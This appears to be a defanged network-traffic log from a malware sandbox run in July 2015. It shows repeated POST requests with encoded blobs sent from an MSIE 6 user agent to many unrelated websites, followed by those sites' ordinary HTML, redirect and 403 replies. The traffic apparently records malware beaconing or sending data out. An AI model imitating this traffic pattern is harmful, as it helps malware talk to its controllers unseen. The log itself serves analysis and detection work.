Date: Thu, 23 Jul 2015 22:25:43 GMT

Server: Apache/2.2.22 (Debian)

Location: hXXp://fsk-an-der-sfu.webnode.com/

Vary: Accept-Encoding

Content-Length: 294

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>302 Found</title>.</head><body>.<h1>Found</h1>.<p>The document has moved <a href="hXXp://fsk-an-der-sfu.webnode.com/">here</a>.</p>.<hr>.<address>Apache/2.2.22 (Debian) Server at VVV.fsk.at Port 80</address>.</body></html>.HTTP/1.1 302 Found..Date: Thu, 23 Jul 2015 22:25:43 GMT..Server: Apache/2.2.22 (Debian)..Location: hXXp://fsk-an-der-sfu.webnode.com/..Vary: Accept-Encoding..Content-Length: 294..Content-Type: text/html; charset=iso-8859-1..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>302 Found</title>.</head><body>.<h1>Found</h1>.<p>The document has moved <a href="hXXp://fsk-an-der-sfu.webnode.com/">here</a>.</p>.<hr>.<address>Apache/2.2.22 (Debian) Server at VVV.fsk.at Port 80</address>.</body></html>...

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 554

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.adf.org.tr

Cache-Control: no-cache

IM6U2wtWhTttMds6YrOPyXToqUxREee5b1hVwPE417Y9lQ2CgDsCXma4 Zd0lMFJ

NStMXRoFoQboLpDDHAbp3ZO/FqFwy4kzwmOdw9R9fpYH/6QpskuxbWbMrb6aVD1s

oWpBw6qamBx03 b4 lMwQXqaC oPDw86JE2onghrl5xuIe78SkkVeSJNURHNcSWI

8yeTW3ISY8puG6hNy TO7ErRTiERjy2qkWw1MXU Bli6nv8CmZUSKuWK PaHTnmP

5yKIC6WP/ByQ1sIm0v1o5weugyDP4HdiUr17tVH7DGZBDj6Qa1nNCVUptEJ2eBRk

p1lQQfPIJZxJgtUQNnwWmjkJG/3SNj Qsup2AMFRvMT4oKwy9WQzSV4BqcFrdEbG

fi46zspfu7bFuoFhDNIZwKhhLP/3iHRegmJLKzqkhYosk IXYKR NoKPKCkaLc7Z

iyvnktv/ 7tnvns/g8k4qJVjHkkZn2TMRc8ddk3KVTp0/sDGZbRSVE999vXqlJCR

qK8qRPv/eW nmVle8LX07A==

HTTP/1.1 200 OK

Date: Thu, 23 Jul 2015 22:23:33 GMT

Server: Apache/2.2.3 (CentOS)

Last-Modified: Thu, 18 Sep 2014 10:55:32 GMT

ETag: "24ea3d-1d9-50354d2c7d100"

Accept-Ranges: bytes

Content-Length: 473

Connection: close

Content-Type: text/html; charset=UTF-8

<html>.<head>. <title>Amat..r Denizcilik Federasyonu</title>. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> . <meta http-equiv="Content-Language" content="TR" />. <meta http-equiv="refresh" content="0; url=http://VVV.adf.org.tr/index.php" />.</head>.<body>.<br/><br/>.<a href="hXXp://VVV.adf.org.tr/index.php">Adf</a>.<br/><br/>.<a href="hXXps://dukkan.adf.org.tr/adfavs">Adf D..kkan</a>.<br/><br/>...leti..im: adf@adf.org.tr.</body>.</html>...

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 600

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.richter.bg

Cache-Control: no-cache

sjTCIoK8LEVR9ye/dVGC wVRB/CSqkVz1sLb4gbTZOmdLMKkvTr1bZ64UKaz3E5Z

cCblA7jO1cfIE7u8Sz8wMDJOSf4Z2rJdVVbMZAVPHUrU592wkwIH1SDlBcqCXbZ8

k58dXLHwuVHmFwASrorVsIcyJlnDcrhmBYMRBjO1HUeI/Nxwg8qrzEFN/zIZ4fCX

xexP/PHmBgVL9eMcMm10rVk4xiKEr1Pbdg/nKmFpiLgtbEj/GzxrHxboPU24v4hI

RveAW3ohxegO0eAxhWd0vjN50rj9 rpXwQyO UeNljy9pNYrSGrun/JWtpJygUty

58kg5TpY8cQXSD2TNvYnEFkIedYFu1iSZ8uTvI/8fyH zZTBcVqWKzpw6mDgFIDz

Z1s0SwV ByiOYeMaWiWcSAWAANLNU/6sA/g7MBBZ9AMVC1qMKJEfCcKFZZ9S6QZt

gMtJNaBA4/70Ed87QMMoeWpdS0L0KoisI BuSzqIEc80rOXZEoGoBH2c1ct69WER

/tTljtf1BTM/23Go0Xg lpE/n0ENWLtTijIBVY7SrLJ8KZg3KKsNDGuvA6Bky0rx

IyAJ

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 23 Jul 2015 22:26:06 GMT

Content-Type: text/html; charset=UTF-8

Content-Length: 10341

Connection: keep-alive

Keep-Alive: timeout=60

X-Powered-By: PHP/5.4.31

Set-Cookie: PHPSESSID=5bonde7i2q6sm5ouvju56it8r1; path=/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html>..<head>..<meta http-equiv="Content-Type" content="text/html; charset=utf-8" >..<link rel="shortcut icon" href="img/RG.ico"/>..<title>............ ............ ....</title>..<link href="style.css" rel="stylesheet" type="text/css">..<script type="text/javascript" src="thumbnailviewer.js"></script>..<script type="text/javascript" src="flowplayer.js"></script>..<script type="text/javascript" src="swfobject.js"></script>..<script src="hXXp://code.jquery.com/jquery-latest.js"></script> ..<script src="hXXp://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js"></script>..<script src="hXXp://ajax.googleapis.com/ajax/libs/jqueryui/1.8/jquery-ui.min.js"></script>..<!--[if lte IE 6]>..<style type="text/css">..#pills..{.. ..}..</style>..<![endif]-->....</head>..<body>..<script type="text/javascript">.. var _gaq = _gaq || [];.. _gaq.push(['_setAccount', 'UA-37556577-3']);.. _gaq.push(['_trackPageview']);.. (function() {.. var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;.. ga.src = ('https:' == document.location.protocol ? 'hXXps://ssl' : 'hXXp://www') '.google-analytics.com/ga.js';.. var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);.. })();.

<<< skipped >>>

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 586

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.taeha.com

Cache-Control: no-cache

slfXI9lWojzoEl2X6NJ4enJ4KSQ3lY6OHffbLDVMbiIFTqoDUK70ogoj UP/pUf

Y45k7WiCfTX5TLN2woHlrj3mkiHF3QaFrJXdVipNl2lQ5uh2No4 fdPnxa/gW4Mg

sJzyw5WKzf3PE0aJKMqeJGZc87aeAVLMGGJRWC2VYBEnUI3JiiOFytkp9K7YG/0m

c3TA5PQnmD/eUrmumpKcBvuHVudXW7EwOY3SHXG4sAw9G6hM4QtJDZJSKupdnFuH

OL8PtFTrLxvM/KdhMXpLLjo d5dn4ru15yyPe7RJzlZlPRt35NaWVZiKHz8zmh9X

/vpBGHfoZN QvspKrvMCmo3pztxRJcyqiHcmIt6K9kbnhmk22scx5La 3JwkQQWF

ki2S2RRQvYtLDM4QLExuyQO9Sz16jGTWPKipKe2EM0 ipkSeKcqDL/JkMQTpurW4

dn1V0p6EWNcGok5oe00ApV9WHjKAFdDecGQYVMqn1F1GWJWg0Ob26VwqJJI ndhJ

EN3k0R39RAxB1 poWgACFF71krbVAfF8Y8IRdVlPLAd45js/d225G0k=

HTTP/1.1 200 OK

Cache-Control: private

Content-Length: 16094

Content-Type: text/html

Server: Microsoft-IIS/7.5

Set-Cookie: ASPSESSIONIDQASTSBDB=KECPECBAEDBEHBCNIAHCFAKF; path=/

X-Powered-By: ASP.NET

Date: Thu, 23 Jul 2015 22:25:33 GMT

..<!--include virtual="/Counter/Counter.asp" -->....<html>..<head>..<meta http-equiv="content-type" content="text/html; charset=euc-kr">..<title>.. TAEHA Machinery Company ..</title>..<script language="JavaScript">..function getCookieVal (offset) {...var endstr = document.cookie.indexOf (";", offset);.. if (endstr == -1) endstr = document.cookie.length;.. return unescape(document.cookie.substring(offset, endstr));..}..function GetCookie (name) {.. var arg = name "=";.. var alen = arg.length;.. var clen = document.cookie.length;.. var i = 0;.. while (i < clen) {.. .var j = i alen;.. if (document.cookie.substring(i, j) == arg) return getCookieVal (j);.. i = document.cookie.indexOf(" ", i) 1;.. if (i == 0) break;.. }.. return null;..}..function SetCookie (name, value) {.. var argv = SetCookie.arguments;.. var argc = SetCookie.arguments.length;.. var expires = (argc > 2) ? argv[2] : null;..// var path = (argc > 3) ? argv[3] : null;..//.var path = "/";...var path = "";.. var domain = (argc > 4) ? argv[4] : null;.. var secure = (argc > 5) ? argv[5] : false;..// document.cookie = name "=" escape (value) .. document.cookie = name "=" (value) .. .((expires == null) ? "" : ("; expires=" expires.toGMTString())) .. ((path == null) ? "" : ("; path=" path)) .. ((domain == null) ? "" : ("; domain=" domain)) .. ((secure == true) ? "; secure" : "");..}..

<<< skipped >>>

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 550

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.nopa.or.jp

Cache-Control: no-cache

Sb7Owz2nz0AQFixh9L RmHZ 18Brx5YKwbNU8Y6jVBr7nZ37Sb7sDJo eibR/L92

PRJtVHlKIHdDAwefcGanao5b//o69a/JTTAFDvVlS4baC5 IXG7/cnJmdFw2XOZG

XdHrcPrBeRMAVlmR8FZ3EyIs78dfLclrpaQun81mISaa5Ju8Uejr/Gf9PKDXD7l6

1n5TvljEVPwquVzMGj m1WxCyNeGLMWN/7CwMxt07/nPPIFcDAwcopP4476wi6Ac

jSJl54uQygcAyfKhzKiBN y3XEQwXCz rpgQVrFwyytpTrB3zB/oKr9NQZwFuDLF

mAytTdVXiTrn6wMkB5xre6Pg8 b1nfyn1nkBihn51B2wSbEhAUuG4teAe4i20zFA

1hbEvtBJH3LUgboR z/JgxKwhTToeFnITKFHkRlrl8IuRbLHiMg5wSTPaBeaBdAm

Owm5kSTPwx8naMAHpS0LRUiEqi2E7dCvscdml89SdNnLroyQ5v T0oxQN2nlIoxz

X4ZIaY7NFaPH2rpBrMQa

HTTP/1.0 403 Forbidden

Date: Thu, 23 Jul 2015 22:25:43 GMT

Server: Apache

Content-Length: 202

Connection: close

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>403 Forbidden</title>.</head><body>.<h1>Forbidden</h1>.<p>You don't have permission to access /.on this server.</p>.</body></html>...

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 554

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.mavlet.com

Cache-Control: no-cache

RiDCFj6lVUAhGuHRCQutwyGFzD7 58gcUnnkq94RT4cxbkoDPVJCJ3xbYVTgOK74

wgtB89F wawlSbLPqU5INPjalNlX4PxFGIxr90Wvo6AkCLINZCAlUzuhqJTrxGBv

jPQ6H/U6VQ5Epxf2LmusrZeo0bblfdvQQwbrRex6nqkhAVALQ1LAmBZ48WIoIp3y

yNiMXUyOpE2KGQquwkIJ409jVpaRWKgZ1Rhg5M4ujQyTM2DrSmgZWQOObXI47NJW

UWli76rn07VL3TUt8QyYIXiUQUe4lxVQ/sW3H p8Eg1JmuZaA4XAD2Ei4FuQKcqH

X2kheIN4NWf9y/HGHAYKKOsW0dpSnSJmMSg67M6cX769QYcweZbs9KRVcAK9Mlxh

audYwPGxL11hvlwKw fBsQ5g4tPW50OnjEM6X/1rnpGMGlPLt0yY1PJavciuTQKe

LdI1Ktj5VZaltmC9syZ5Z3rYAH MnTGJPj JCDvRMFsvmj3CLmOg5m8EzfGBD3iL

5ubdJ x640xc3YdwdJX3Ac4=

HTTP/1.1 200 OK

Date: Thu, 23 Jul 2015 22:25:44 GMT

Server: Apache/2

X-Powered-By: PHP/5.5.26

P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"

Cache-Control: no-cache

Pragma: no-cache

Vary: Accept-Encoding,User-Agent

Set-Cookie: 32259314bb06f6af33a55f8149235f6b=ergsg9ujgpjbnb8ou888punl55; path=/

Transfer-Encoding: chunked

Content-Type: text/html; charset=utf-8

6a92..<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "hXXp://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xmlns="hXXp://VVV.w3.org/1999/xhtml" xml:lang="he-il" lang="he-il" dir="rtl">..<head>.. <base href="hXXp://VVV.mavlet.com/" />. <meta http-equiv="content-type" content="text/html; charset=utf-8" />. <meta name="keywords" content="............ .............. .......... .......... .......... | .......... ............ .......... .............." />. <meta name="author" content="Super User" />. <meta name="title" content=".... ........ - ........ ........" />. <meta name="description" content="............ .............. .......... .......... .......... | .......... ............ .......... .............." />. . <title>.... ........ - ........ ........</title>. <link href="/templates/blank/favicon.ico" rel="shortcut icon" type="image/vnd.microsoft.icon" />. <link rel="stylesheet" href="hXXp://VVV.mavlet.com/components/com_foxcontact/css/neon.css" type="text/css" />. <link rel="stylesheet" href="hXXp://VVV.mavlet.com/modules/mod_djimageslider/assets/style.css" type="text/css" />. <style type="text/css">.#marqueecontainer {position: relative;width:80%;height:120px;overflow: hidden;padding: 2px;padding-left: 4px;background-color:transparent;}.#vmarquee {position: absolute; width: 95%; font-size:14px;}.#vmarquee h3 {text-align: center; color:#fff; font-size:110%; font-style:normal; font-w

<<< skipped >>>

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 554

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.citymade.com

Cache-Control: no-cache

OH2DS0I9iUCoyOW6NVtBLcVTXYhSWuRTljctVUpgjQ2KuuQGigqn zxityjlk9J

kXywrtGz8ksGSiK5TFaAUSVzrB xJumLkOwIkIH5/asWZhyH7zMXD2Mc5ekxx47K

TScyihL9GdPYRCFvFa9LwytIjANz20QhZsBDiIv7aT5PNW44hYFvQnXdNSSvtFxb

GNdN9SxhDnjHaqmA5icrHxQtMaolwXFoeW1jcImA Dd7x1yb0owaPjJQ/3SsnMsH

nu3qXC96bQy7K8lzki/IdIopc/7zDlW4Ko5qCUxRm8sJyIuLIUPoOat9rpFtqTXb

I8xUDJUyh uWaI3r8t byuPK4QM0 NXz0vVP8Jm887oFMeYdqcPPNgBAVPJFFIqp

VD0TEscEqvzJpAt1kpPbUKl/3zou0tgaua7Bg9kJa 6ZgK9d/sb7wGy3/BNeL2yk

1PrUILXtAytBDypxQcjK94jWSlT4qmljhZQCPYaIBhgNrDpjEPchAAwzSnDYHwnW

Z1XTJSyQFwo2bUU3FC32/S4=

HTTP/1.1 200 OK

Content-Type: text/html; charset=UTF-8

Server: Microsoft-IIS/8.5

X-Powered-By: PHP/5.4.24

X-Pingback: hXXp://VVV.citymade.com/xmlrpc.php

Link: <hXXps://VVV.citymade.com/>; rel=shortlink

X-Powered-By: ASP.NET

Date: Thu, 23 Jul 2015 22:25:09 GMT

Content-Length: 29610

<!DOCTYPE html>..<html lang="en-US">..<head>..<meta charset="UTF-8">..<meta name="viewport" content="width=device-width, initial-scale=1">..<link rel="profile" href="hXXp://gmpg.org/xfn/11">..<link rel="pingback" href="hXXp://VVV.citymade.com/xmlrpc.php">..<link rel="stylesheet" href="//maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css">..<link rel="shortcut icon" href="hXXp://VVV.citymade.com/wp-content/themes/citymade/favicon.ico" />..<title>Citymade | The best products from your favorite cities all in one place.</title>.<link rel="alternate" type="application/rss xml" title="Citymade » Feed" href="hXXps://VVV.citymade.com/feed/" />.<link rel="alternate" type="application/rss xml" title="Citymade » Comments Feed" href="https://VVV.citymade.com/comments/feed/" />.<link rel="alternate" type="application/rss xml" title="Citymade » Home Comments Feed" href="hXXps://VVV.citymade.com/home/feed/" />...<script type="text/javascript">....window._wpemojiSettings = {"baseUrl":"http:\/\/s.w.org\/images\/core\/emoji\/72x72\/","ext":".png","source":{"concatemoji":"http:\/\/VVV.citymade.com\/wp-includes\/js\/wp-emoji-release.min.js?ver=4.2.3"}};....!function(a,b,c){function d(a){var c=b.createElement("canvas"),d=c.getContext&&c.getContext("2d");return d&&d.fillText?(d.textBaseline="top",d.font="600 32px Arial","flag"===a?(d.fillText(String.fromCharCode(55356,56812,55356,56807),0,0),c.toDataURL().leng

<<< skipped >>>

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 558

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.hzjinhai.com

Cache-Control: no-cache

b8xtM4koX0VkHCDd2JjLoaIlq3KngNUfzUMzzb5y/weC1dKRW/ZBzbieVS8388jD

UczaitGGxj8e2nikzQxQVX1Z4iemU0bBAir16 Kwy0nezq62WyDv3w7Fci2m1hdj

iBItbYszw8MMzcK6I1wiR29aCCcBWoJqIKxVuNXVdnLYQVWVWFCo9J6eUWylqeQN

ysVMaFtHRToszXN68 UTmL/rk3eI/FA4xlqjj5Z8wmdzzcUvWN3DwfW93gHj7tW0

zF8SmV/2UDPNWE/qqOYIX oQKbR71wiclnLsCyGAA5VdUC6c2ZQR9rdvcc9SD8TF

sV789w1zdgNmAm490gTZiVg1dS4iebfK5aI Kx/W9oEUrDzJEfbrXkoY myceUAd

L7yX/0hAJZYZ42oN2nBjR//NMaTmt6UcK9vwbREp PuLYqdSzLNywVQAuoleo S

QQgSwZrKsOMwQLYG3djFNL4tZmEvwzVnY78HLLDreFU5Sz7nDRI58/SFJ/9MohLF

IDX9EN1vOLIBC8v6mrqY8mGcPPk=

HTTP/1.1 200 OK

Cache-Control: private

Content-Length: 14133

Content-Type: text/html

Server: Microsoft-IIS/7.0

Set-Cookie: ASPSESSIONIDCQSAQCSD=CIOLGNJDFBCHPBHOGPHCJMLI; path=/

X-Powered-By: ASP.NET

Date: Thu, 23 Jul 2015 22:26:06 GMT

..<html>..<head>..<meta http-equiv="Content-Type" content="text/html; charset=gb2312">..<title>............ -- ............................................................................(........)</title>..<link rel="stylesheet" href="css.css" type="text/css">..<style type="text/css">..<!--...style4 {color: #FF9900}...STYLE2 {color: #FF9900}..-->..</style>..<script language=javascript>..function sent()..{. .. $error = "";.... if(form1.user.value.replace(/(^\s*)|(\s*$)/g,'')=='')...$error = "..............!\r\n";.. if(form1.pwd.value.replace(/(^\s*)|(\s*$)/g,'')=='')...$error = "............!";.. if($error!="").. {...alert($error); .. ...document.form1.user.focus();.. }.. else.. {.....document.form1.submit();.. }..}..function po_login()..{...document.form1.action="hXXp://mail.hzjinhai.com/mail/login_transfer.php";...document.form1.submit();...return true;..}..</script>..</head>..<body bgcolor="#ffffff" leftmargin="0" topmargin="0" text="#000000" marginwidth="0" marginheight="0" class="Boby" onload='javascript:form1.user.focus()'>..<table width="1003" border="0" cellpadding="0" cellspacing="0">.. <!--DWLayoutTable-->.. <tr>.. <td width="1003" height="144" valign="top"><table width="100%" border="0" cellpadding="0" cellspacing="0">.. <!--DWLayoutTable-->.. <tr>.. <td width="1003" height="144" valign="top"><img src="images/index_01.jpg

<<< skipped >>>

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 562

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.saamii.com

Cache-Control: no-cache

/E6XZTiU7TtR9ajwu8oFaisgq6yAA9aG7GrAA6oZY9O8iQbQ282mncN6m8x7GN15

cdL09MMfo4s67CyGARN8bPntEHY14 KMc7NEqrFfL9Pvj0w2tltNohHtuu/VpW/Z

QU4mzrXIiw8nj3MyjI8c2q/ow7NaXQff5q7yT0NMuMdWqQzWIXtqPACDrslEkxtx

vUmPWizOtpCeb003jrkJixKuC4GoZK/ryHAmEwmLnHnm7zTMy93ReMxheEYAzXRf

Tif BEgvsUTkQk0j9oDivew9/2RaaoXh1vT73tBoLUizkeZ2sQdPXKopCZzzEgCz

6kiLSt2gI97SvyV4Ic xlkP5IWxf0z6TojVUFh0/dE4dvBsUBbhaqlybtwoXGTfh

XgPGacMyrg/bwetidd0yesAXVP4IpgTPVtz24ttZx4p8JL5nJ4ESlw1fGq2LAEUM

RK15d68H4aGdaIUiZJnIBQkfswIBviQ3Z/FXg1TRhO/OigKRL996aeOjjyFxbaER

n/RRbpuCfxKkrdbBU2pn9LGMIM5wjWB2

HTTP/1.1 200 OK

Date: Thu, 23 Jul 2015 22:25:22 GMT

Server: Apache

Last-Modified: Thu, 03 Apr 2008 07:27:18 GMT

Vary: Accept-Encoding,User-Agent

Content-Length: 8723

Connection: close

Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://VVV.w3c.org/TR/1999/REC-html401-19991224/loose.dtd">.<html lang="ja">.<head>.<meta http-equiv="Content-Type" content="text/html; charset=Shift_JIS">.<meta http-equiv=Content-Style-Type content="text/css">.<link href="index.css" type="text/css" rel="stylesheet">.<title>SAAMII Web</title>..<script type="text/javascript" charset="UTF-8" src="//cache1.value-domain.com/xrea_header.js" async="async"></script>.</head>.<body>..<div class="tb">.<table border=0 cellpadding=0 cellspacing=0 width="100%" summary="title">.<tbody>.<tr>.<td nowrap align="center" width=309><img src="images/title.gif" width=495 height=60 alt="Title:SAAMii Web"></td>.<td align="right" width="100%"><img src="./cgi-bin/count/dream.xcg?id=index&gif=17&fig=7" alt="Counter"> .</td>.</tr>.</tbody>.</table>.</div>..<table border=0 width="100%" cellspacing=3 cellpadding=3 summary="contents">.<tbody>.<tr valign="top">.<!-- .... -->.<td width="50%">.<h2>About us</h2>.<div class="t">..<a href="./aboutus.html#ml" title="Web............ML........">.T.[.~.[ML........</a><br>..<a href="./aboutus.html#web" title=".....T.C.g........">.....T.C.g........</a>   ..<a href="./aboutus.html#contact" title="..........">..........</a> &

<<< skipped >>>

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 600

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.lvcpa.biz

Cache-Control: no-cache

w1VVFATpDT1X1jpjH2BfotduHOo81iMUeE4AFJvkj2g1Ik9PyZ7NiTzRjX Uzp6q

mDvSFcdXvAN61XAu99vfJfb54LaqMF7OJFragPhQnLCnH cbjNKsv2M91pRmlsfT

pacJ4m/P9TTPM5NQS/23EiiXchmGx48Ia5ewlX1ABpQVob7J4gyo8akAWRibRucM

QCHfwrPpf6c2Zw5bJ9codYSIC8gtZ9qREBSnaAUeDuwskzMxx2syVn8sAWduGFY3

z jhiHnfHFv0DumqPPdH/p5Mtry2HolCIk6LjvbWYZ2gQ4iTTG M8/MGsBOhhJGD

ExGecZ zol/YJH7nD6YFZFP9Ebd23youjrau4fgW2xK1eIYNLrMhuD59FIR6VAls

OXVz6ZwuHY/gE/amNm25 zir5F7zxIdIQPlwd1gqPJ6Ju2xr46x2dYpnydjpvw K

0EeVFvzFcoU2JmZx6cBtYDmL hsxupD3cZ1gQRNSkKzQakTpn05EcTBlhw6fJDMq

TRpE1pdb2b2UlyRMYy49T729K /Hf d87T45ikYjUaMGVuFlLSnFY5gbu1ghySwM

kA==

HTTP/1.1 403 Forbidden

Date: Thu, 23 Jul 2015 22:25:26 GMT

Server: Apache

Content-Length: 265

Connection: close

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>403 Forbidden</title>.</head><body>.<h1>Forbidden</h1>.<p>You don't have permission to access /.on this server.</p>.<hr>.<address>Apache Server at VVV.lvcpa.biz Port 80</address>.</body></html>...

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 594

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.hostings.com

Cache-Control: no-cache

znnf0T2HxzvVLA5Z9B9o nZe oJrZ5yrwVPZov4LS/u0tgbYrJqi4ntexzG9r3yH

MP6XVe0oaDhdJaJCBTY2rZdTguKQpPB3cOu98jo lCBaLf /OYla3FwGnbjKXt0G

iSSesqoMNQXzwSonrImz hO3qM/3XtBA MdlA/0jsZjXAM7CqBqIM FuP8Th9fdR

eXRBUUtxyoe12NFmT4IhVicyNJH/PoX1Ty1uC2zhO/BjhvGZA6FxYBZwN4uv3Che

GoIqqmokOzPV66HfVvGT J31n0PcX6oGKZe/T6/xKD9ktZexRVdwGNUccvXsLrLO

BvQUim YggnVH0rY6LGN9ZxYjuNPtjm2El7oZtLrQzzYnoahm6xb9Dt48usDbtV0

WtJ Qdvk5z0SboJTP AUwGK47X8qK9smF94YwdlVbKqm2Y/JZu8BbCV6AdFDF3Ry

bptzL/SZnNutnZw7KP5dNIxsTX4p8pR3mboqPzsp /a4qCBX lntn8IY8lghtzXB

Sy7cDd8bN78ZcZsH6wwhthY98r1aLxC/OXJ252w2GU0LxvaJ7kf1PRm390dKQ==

HTTP/1.1 200 OK

Date: Thu, 23 Jul 2015 22:25:20 GMT

Server: Apache

Last-Modified: Tue, 16 Dec 2014 05:49:09 GMT

ETag: "70109c-419d-eaf1df40"

Accept-Ranges: bytes

Content-Length: 16797

Vary: Accept-Encoding

Content-Type: text/html; charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">.<html>.<head>.<title>.Hosting Masters - affordable quality web hosting.</title>.<meta http-equiv="Content-Type" content="text/html; charset=utf-8">.<META http-equiv="PICS-Label" content='(PICS-1.1 "hXXp://VVV.icra.org/ratingsv02.html" l gen true for "hXXp://hostings.com" r (cz 1 lz 1 nz 1 oz 1 vz 1) "hXXp://VVV.rsac.org/ratingsv01.html" l gen true for "hXXp://hostings.com" r (n 0 s 0 v 0 l 0))'>.<meta name="keywords" content="web hosting, domain hosting, website hosting, webhosting, web site hosting, ecommerce">.<meta name="description" content="Web hosting (yourname.com) - ecommerce sites as low as $8/month! Low-cost professional domain hosting with full e-commerce support.">.<META NAME="revisit-after" CONTENT="15 days">.<META NAME="ROBOTS" CONTENT="ALL">.<META Name="abstract" content="Web hosting (yourname.com) - ecommerce sites as low as $8/month! Low-cost professional domain hosting with full e-commerce support.">.<META NAME="Classification" CONTENT="Computers and Internet">.<script language="javascript" type="text/javascript" src="hosting10.js"></script>.<link rel="stylesheet" href="/hosting.css" type="text/css">.</HEAD>...<body bgcolor="#FFFFFF" text="#000000" onLoad="popup('out')">.<center>.. <table width="768" border="0" cellspacing="0" cellpadding="0">. <tr>. <td><img src="hXXp://www2.ho

<<< skipped >>>

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 604

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.mlc-edu.com

Cache-Control: no-cache

BQH/zUjKlUCe8Y2ii mq87uQpHbQ6mop/Hlfjc00y9FjaUhJZNld3B/pE6cOlEY/

qSR5a51AsN wFf5VRdwTENX2H0YGD306jpehSnkmN4u mbysUl 1ZXdCjACHszBA

X01jt9PQC9/AskqGKwzL4d77qWkvmSA6QzaOwZdDJvr1oLndrivUQO91WTVDrIwW

cbh7sa1V5mZjprX/B0i2b144y8sYEcM5UY/ddrmga1a 4fFLgdaDWLRjx8M1GQQS

jYn12eHvwPFUYX9 KasLgeV7lwLoTAPM/SfwePtWDQi4Jmlf 8j8mVE36CKWMGqL

rFzcoMuBZW1TkhjetEzqhLRzIO 4ZXAkTCWov70J/VoyGFXopLLKNtSqymf93/C

fpRkXLhR6s9hhsXXg t9tUWl6/ge3cGAficXnDKNGFl7rsZSCvl4rcayJEwOvpn2

GV rWz18MQ7aPQJdWywlggGiuWgSy/cDlemv5n42P5hCJZj0xYtgNI 33YUg3qYi

32boXutqKpp q8GWuDbqhMeZMT6JykE6Uv4NZjpl4ChDMHHDu/vBAs7WqZZs0sq0

dVkXL8vG

HTTP/1.1 302 Found

Date: Thu, 23 Jul 2015 22:25:43 GMT

Server: Apache/2.2.29

Location: hXXp://learningcenter.sharepoint.com/

Content-Length: 221

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>302 Found</title>.</head><body>.<h1>Found</h1>.<p>The document has moved <a href="hXXp://learningcenter.sharepoint.com/">here</a>.</p>.</body></html>.....

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 604

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.mlc-edu.com

Cache-Control: no-cache

BQH/zUjKlUCe8Y2ii mq87uQpHbQ6mop/Hlfjc00y9FjaUhJZNld3B/pE6cOlEY/

qSR5a51AsN wFf5VRdwTENX2H0YGD306jpehSnkmN4u mbysUl 1ZXdCjACHszBA

X01jt9PQC9/AskqGKwzL4d77qWkvmSA6QzaOwZdDJvr1oLndrivUQO91WTVDrIwW

cbh7sa1V5mZjprX/B0i2b144y8sYEcM5UY/ddrmga1a 4fFLgdaDWLRjx8M1GQQS

